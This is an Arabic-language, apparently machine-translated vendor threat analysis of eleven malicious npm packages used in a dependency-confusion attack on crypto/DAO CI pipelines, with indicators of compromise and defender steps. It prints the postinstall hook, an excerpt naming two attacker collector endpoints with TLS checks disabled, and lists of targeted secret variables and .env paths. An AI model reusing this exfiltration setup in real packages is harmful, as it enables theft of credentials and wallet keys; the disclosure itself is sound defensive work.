ارتباك بشأن CryptoDAO: جمع حزم npm CI/CD وأسرار العملات المشفرة

ارتباك CryptoDAO: إحدى عشرة حزمة npm، حمولة واحدة، عملية جمع البيانات CI/CD وأسرار محافظ العملات المشفرة

TL؛ DR

في 17 يونيو 2026، نشر حساب واحد على npm إحدى عشرة حزمة تشترك في غرض واحد وحمولة واحدةعشرة منهم يحملون cryptodao- بادئة (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types)؛ الحادي عشر هو النطاق @public-for-cdao/coreتم نشر كل منها في الإصدار 99.99.99 ويشحن بايتًا مطابقًا recon.js التي تعمل postinstall.

الأسماء هي الدليل. تبدو كأنها اللبنات الأساسية لسلسلة أدوات خاصة بمشروع عملات مشفرة/منظمة لامركزية مستقلة. تُنشر هذه المشاريع في سجل npm العام بإصدار عالٍ بشكل مصطنع، وتبقى في انتظار عملية البناء. pipeline هذا مُهيأ لحل تلك الأسماء، ويصل إلى npm العام قبل - أو بدلاً من - السجل الخاص. هذا هو ارتباك التبعيةوتم ضبط الحمولة بدقة لتناسب المكان الذي تتوقع الهبوط فيه: CI/CD المركز الثاني.

متى postinstall حرائق، recon.js يجمع تفاصيل المضيف، ويقوم بمسح شامل تقريبًا أربعون متغيرًا بيئيًا خاصًا بالحوسبة السحابية، والبنية التحتية للتكامل المستمر، ومحافظ العملات المشفرةيقرأ أي .env يقوم البرنامج بالعثور على الملفات وإعادة توجيه الأسطر التي تحمل السر حرفياً، ثم يرسل الحزمة إلى اثنين من جامعي البيانات. webhook.site ونقطة نهاية Pipedream - مع تعطيل التحقق من شهادة TLS. كما تم كتابة نسخة تحت /tmp.

الخطورة: عاليالنظام البيئي المتأثر: الآلية الوقائية الوطنيةكانت جميع الحزم الإحدى عشرة متاحة وقت كتابة هذا التقرير.

تشريح الهجوم

تحتوي الآلية على أربعة أجزاء متحركة، ولا يوجد أي منها خفي بمجرد أن تعرف ذلك. انظر إلى الطبقة التالية بعد اسم الحزمة.

1. تضخيم الإصدارات كطعم للمحلل. تُعلن كل حزمة عن الإصدار 99.99.99يحدث ارتباك التبعيات عندما يطلب مدير الحزم... الاسم الداخلي، كما يتحقق من السجل العام ويختار أحدث إصدار منه يجد npm. التحديد الافتراضي لنطاق علامة الإقحام أو الأحرف البديلة هو النسخة الأكثر إرضاءً عبر جميع المصادر المُكوّنة؛ إذا كان كلاهما خاصًا في حالة وجود نفس الاسم في سجل npm أو في إجابة عامة، فإن رقم الإصدار الأكبر هو الذي يفوز. A 99.99.99 يتفوق بشكل أساسي على أي نسخة داخلية حقيقية قد يمتلكها المشروع تم الوصول إلى ذلك، لذا فإن المُحلِّل الذي لا يرتبط بالمصدر الخاص يُفضِّل نسخة عامة - وفي هذه الحالة، معادية - لا يحتاج المشغل إلى معرفة أرقام الإصدارات الحقيقية للهدف؛ اختيار قيمة قصوى غير منطقية يضمن التعادل دائمًا يشقون طريقهم.

2. مُشغّل ما بعد التثبيت. package.json يقوم بتوصيل الحمولة بالتركيب دورة الحياة:

{
  "scripts": { "postinstall": "node recon.js" }
}

لا يلزم استيراد الحزمة. يكفي تثبيتها فقط - وهو ما يتم بواسطة نظام التكامل المستمر (CI). pipeline يتم ذلك تلقائيًا — يتم التشغيل recon.js.

3. عملية سرية واسعة النطاق. recon.js يقوم بتجميع مصفوفة النتائج على مراحل:

  • سياق المضيف: اسم المضيف، النظام الأساسي والإصدار، البنية، اسم المستخدم، العمل الدليل.
  • متغيرات البيئة: يقوم بتكرار قائمة ثابتة تضم حوالي أربعين اسمًا وسجلًا أي منها مُحدد. القائمة تكشف الكثير - فهي تُقرن رموز CI العامة. (CI_JOB_TOKEN, كلمة مرور سجل CI, رمز الوصول إلى GITLAB) والسحابة أوراق اعتماد (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) مع أسرار السجل والحاوية (NPM_TOKEN, كلمة مرور DOCKER, كلمة مرور الميناء) ومجموعة ذات طابع تشفيري مميز:  المفتاح الخاص, ذاكري, عبارة أساسية, مفتاح واجهة برمجة تطبيقات INFURA, مفتاح واجهة برمجة تطبيقات ALCHEMY, ETH_RPC, BSC_RPCيتم اقتطاع القيم المسجلة إلى أول 50 حرفًا.
  • .env الملفات: يقوم بفحص قائمة المسارات — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, و مبادئ السلوك .إنتاج/.تطوير المتغيرات — وبالنسبة لأي ملف موجود، فإنه يقوم بتصفية المحتويات لعرض الأسطر المطابقة مفتاح | سر | رمز | كلمة مرور | خاص | تذكيري ويقوم بدفع تلك الأسطر **بكاملها، دون اقتطاع** إلى النتائج.
  • سياق مضيف البناء: يسرد أول 20 إدخالًا من /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/و / تمة /.

يتم ترجيح قائمة المسارات وقائمة المتغيرات لصالح مشغلي GitLab، مما يشير إلى يتم توجيه الحمولة مباشرة إلى البنية التحتية للتكامل المستمر ذاتية الاستضافة بدلاً من المطور جهاز كمبيوتر محمول. إن تجميع قائمة الحصاد حسب الفئة يجعل الكمية المقصودة واضحة:

الفئةالمتغيرات / المسارات التي تم الوصول إليها
CI/CD تحديد الهوية ونشرهاCI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
سحابةAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
السجل والحاويةNPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
مخازن البياناتDATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
العملات المشفرة / البلوك تشينPRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
المراسلةSLACK_TOKEN, DISCORD_TOKEN
على القرص.env عائلة + /home/gitlab-runner/.env, /root/.env, /app/**/.envقوائم الدليل لـ /builds/, /var/lib/gitlab-runner/

مجموعة التشفير هي الجزء الذي يميز هذا عن سر CI العام المسح: لا تظهر عبارات استعادة المحفظة ومفاتيح التوقيع إلا في بيئة مشروع بلوك تشين، ويتم ربطها مباشرة بـ كريبتوداو-/الموقع/عقود تسمية شركات النقل.

4. عملية استخراج مزدوجة مع تعطيل التحقق. المصفوفة المجمعة هي تمت معالجتها وإرسالها بالتسلسل إلى وجهتين:

const targets = [
  { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },
  { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' },
];
// ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

رفض غير مصرح به: خطأ يقوم بإيقاف عمليات التحقق من شهادات TLS للصادرة يتم استدعاء نفس البيانات وطباعتها على مخرج النظام القياسي (وبالتالي يتم تسجيلها أيضًا في سجلات وظائف التكامل المستمر). كتبت إلى /tmp/.npm_recon_ ملف JSONتُتجاهل الأخطاء بصمت، لذا... لا يترك فشل الإرسال أي أثر في مخرجات التثبيت باستثناء واحد [استطلاع] مثبت على الخط.

يصف أحد التعليقات الرئيسية في الملف الأمر بأنه "ارتباك في التبعية". حمولة الاستطلاع. وقد أدى تقليص قيم البيئة إلى 50 حرفًا إلى شكل نموذج أولي. ما يجعله يتجاوز كونه مجرد منارة للوجود هو... .env المعالجة: يتم توجيه الخطوط التي تحمل معلومات سرية بالكامل، والوجهات هما جامعان عاملان يتحكم بهما المهاجم، وليسا حوضًا لا يُحتسب إلا الزيارات.

الخط الزمني

نمط النشر هو توقيع لعملية دفع واحدة مكتوبة، وليس أحد عشر. التحميلات المستقلة.

الوقت (UTC، 2026-06-17)الحدث/الفعالية
03:24:58cryptodao-bot@99.99.99 نشرت
03:25:01cryptodao-signer@99.99.99
03:25:04cryptodao-deploy@99.99.99
03:25:08cryptodao-backend@99.99.99
03:25:11cryptodao-contracts@99.99.99
03:25:14cryptodao-sdk@99.99.99
03:25:18cryptodao-utils@99.99.99
03:25:21cryptodao-core@99.99.99
03:25:24cryptodao-types@99.99.99
03:25:27cryptodao-config@99.99.99
03:49:59@public-for-cdao/core@99.99.99 — نسخة مُعدّلة، بعد حوالي 24 دقيقة

تم إرسال عشر طرود خلال فترة زمنية مدتها 29 ثانية، أي بمعدل طرد واحد كل ثلاث ثوانٍ تقريباً. النطاق @public-for-cdao/core ثم تلاه بعد حوالي 24 دقيقة - ثانية اتفاقية تسمية لنفس الهدف، في حال أشار المشروع المستهلك إلى سلسلة الأدوات الداخلية ضمن نطاق محدد بدلاً من استخدامها كأسماء مجردة.

مؤشرات الحل الوسط

النوعمؤشر
جامعhxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
جامعhxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
خطاف التثبيتpostinstall: node recon.js
تم إسقاط الملف/tmp/.npm_recon_<timestamp>.json
علامة جذع الشجرة[recon] <pkg>@<ver> installed on <hostname> (مخرجات النظام القياسية في سجلات التكامل المستمر)
السلوكيةrejectUnauthorized: false على بروتوكول HTTPS الصادر أثناء التثبيت
الحمولةrecon.jsمتطابقة عبر جميع الحزم الإحدى عشرة (إصدار مشترك واحد)
التجريبية99.99.99 على كل عبوة
الباقاتcryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (الكل 99.99.99)
Publisheraduljune / aduljune@proton.me (البريد الإلكتروني غير موثق، ولا يوجد رابط لمستودع المصدر)

 الإسناد والسلوك الملاحظ

كل شيء يتعلق بالمجموعة يشير إلى يد واحدة. تم نشر جميع الحزم الإحدى عشرة. بواسطة حساب npm بالغ (aduljune@proton.meعنوان غير موثق بدون مستودع المصادر المرتبطة)، خلال فترة 25 دقيقة، في نفس الوقت 99.99.99 الإصدار، شحن أ recon.js محتوياتها متطابقة بايتًا ببايت عبر كل حزمة (تطابقات MD5 عبر جميع النسخ الإحدى عشرة المستخرجة). هذه حمولة واحدة تم إدراجها في قائمة الأسماء، وليس إعادة استخدام الكود بشكل مستقل.

تحدد قائمة الأسماء الهدف المقصود. cryptodao-* و com.cdao صف ال تخطيط الوحدة النمطية الخاصة بمشروع العملات المشفرة/DAO، وقائمة حصاد الحمولة يعكس ذلك التخمين: إلى جانب أسرار التكامل المستمر والحوسبة السحابية العامة، فإنه على وجه التحديد يصل ل المفتاح الخاص, ذاكري, عبارة أساسيةو Ethereum/BSC RPC و مفاتيح المزوّد. .env مسارات البحث وقوائم الدليل هي GitLab-runner محدد. التأثير الملحوظ هو أن أي pipeline تم خداعي لتثبيت هذه البرامج ستقوم الأسماء بإعادة توجيه رموز CI الخاصة بها، ومفاتيح السحابة، والبيانات الموجودة على القرص. .env أسرار — ولـ مشروع بلوك تشين، ومواد محفظته - إلى اثنين من جامعي البيانات من جهات خارجية.

لا ندّعي معرفة من يدير الحساب أو ما الذي كان يخطط لفعله به. البيانات. الحقائق التي تقف على قدميها: تستهدف الأسماء نوعًا محددًا من سلسلة الأدوات الداخلية، حيث تقرأ الحمولة وتنقل القيم السرية الحقيقية، و كانت البنية التحتية تعمل.

التأثير والاتجاهات وتوجيهات المدافعين

ارتباك التبعية يظل فعالاً لأنه يستغل سلوك المُحلِّل، وليس ثغرة أمنية في أي عبوة. الناقل هنا بسيط للغاية - إحدى عشرة عبوة شبه فارغة. الطرود — لكن نصف قطر الانفجار هو أي شيء pipeline يفضل عن طريق الخطأ npm العام لاسم داخلي. تُعدّ أدوات تشغيل التكامل المستمر أسوأ مكان لحدوث ذلك: فهي تحتفظ الرموز بالضبط و .env الملفات التي يقرأها هذا البرنامج الخبيث، ويتم تثبيتها التبعيات بشكل غير تفاعلي، لذلك بعد التثبيت يركض دون أن يراقبه أحد.

تتوافق هذه المجموعة أيضًا مع نمط نلاحظه باستمرار: حمولات وقت التثبيت التي تقدم باعتبارها "بحثًا" أو "استطلاعًا" أثناء القيام بجمع بيانات الاعتماد الحقيقية. هذا هو التصنيف لا يُغيّر وجود هذا التغيير في الملف ما يفعله الكود على المُشغّل. هناك خياران تصميميان يُحافظان على النشاط هادئ: يتم تغليف كل عملية شبكة ونظام ملفات في معالج استثناءات يتجاهل الأخطاء، مثل خطأ في الإرسال أو ملف مفقود. لا ينتج أي مخرجات تشخيصية، والشيء الوحيد المطبوع هو رسالة واحدة غير ضارة [استطلاع] … مثبت خط يندمج مع ضوضاء التثبيت العادية. استخدام webhook.site كما أن تطبيق Pipedream يوفر راحة متعمدة - فكلاهما مجاني. خدمات التقاط الطلبات المُجهزة على الفور، لذلك لا يحتاج المشغل إلى خوادم من تبدو أسماء مضيفيهم الخاصة والوجهات كأسماء مضيفي SaaS عادية في سجلات الخروج.

إن الجوانب الاقتصادية هي ما يجعل هذا الأمر يستحق اهتمام المدافع، على الرغم من أن رمز الناقل بسيط للغاية. تسجيل أحد عشر اسمًا لا يكلف شيئًا، والحمولة هي واحد. تم نسخ الملف إحدى عشرة مرة، ويتولى مدير الحزم تنفيذ كل شيء. ملف واحد تم تكوينه بشكل خاطئ pipeline أي مكان يستخدم أحد هذه الأسماء يدفع ثمنها بالكامل العملية.

خطوات عملية للمدافعين:

  • قم بتثبيت النطاقات الداخلية في سجلّك الخاص. قم بتهيئة npm بحيث تكون الأسماء الداخلية
     وتُحل النطاقات فقط مقابل سجلّك (تعيينات سجلّ .npmrc ذات النطاق المحدد،
    أو خادم وسيط لا يعتمد على npm العام للمساحات الاسمية المملوكة. احجز أسماء النطاقات العامة الخاصة بك حتى لا يتمكن أي شخص آخر من تسجيلها.
  • Commit قم بقفل الملفات وتثبيتها باستخدام خيار --ignore-scripts في CI حيثما كان ذلك ممكناً، أو قم بفحص مجموعة صغيرة من التبعيات التي تحتاج فعلاً إلى برامج نصية للتثبيت.  لا يمكن تشغيل recon.js إذا بعد التثبيت لم ينفذ.
  • تعامل مع نسخة 99.99.99 (أو أي نسخة أخرى عالية بشكل سخيف) من اسم يبدو داخليًا كعلامة تحذيرية في مراجعة التبعية ومراقبة السجلات.
  • تنبيه بشأن خروج البيانات أثناء التثبيت. A بعد التثبيت يؤدي ذلك إلى فتح اتصال HTTPS صادر الاتصال - خاصة مع تعطيل التحقق من الشهادة - بـ من المفيد حظر خدمات التقاط الطلبات مثل webhook.site أو Pipedream أو ما شابهها على حافة الشبكة ووضع علامة عليها في سجلات البناء.
  • ابحث عن القطع الأثرية. تحقق من العدائين /tmp/.npm_recon_*.json ول [استطلاع] ... مثبت على ... علامة في سجلات التكامل المستمر الأخيرة. إذا تم العثور عليها، فقم بتدوير كل بيانات الاعتماد المعرضة لذلك pipeline — رموز CI، ومفاتيح السحابة، ورموز التسجيل، وأي بذور محفظة أو مفاتيح خاصة موجودة في ملفات البيئة أو ملفات .env.

مراجع حسابات

لم تكن هناك تقارير خارجية حول هذه المجموعة وقت كتابة هذا التقرير؛ التحليل يستند ما سبق مباشرة إلى محتويات الحزمة المنشورة

أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
احصل على حسابك المجاني.
أي بطاقة ائتمان.

احمِ عملية تطوير وتسليم برامجك

مع مجموعة منتجات Xygeni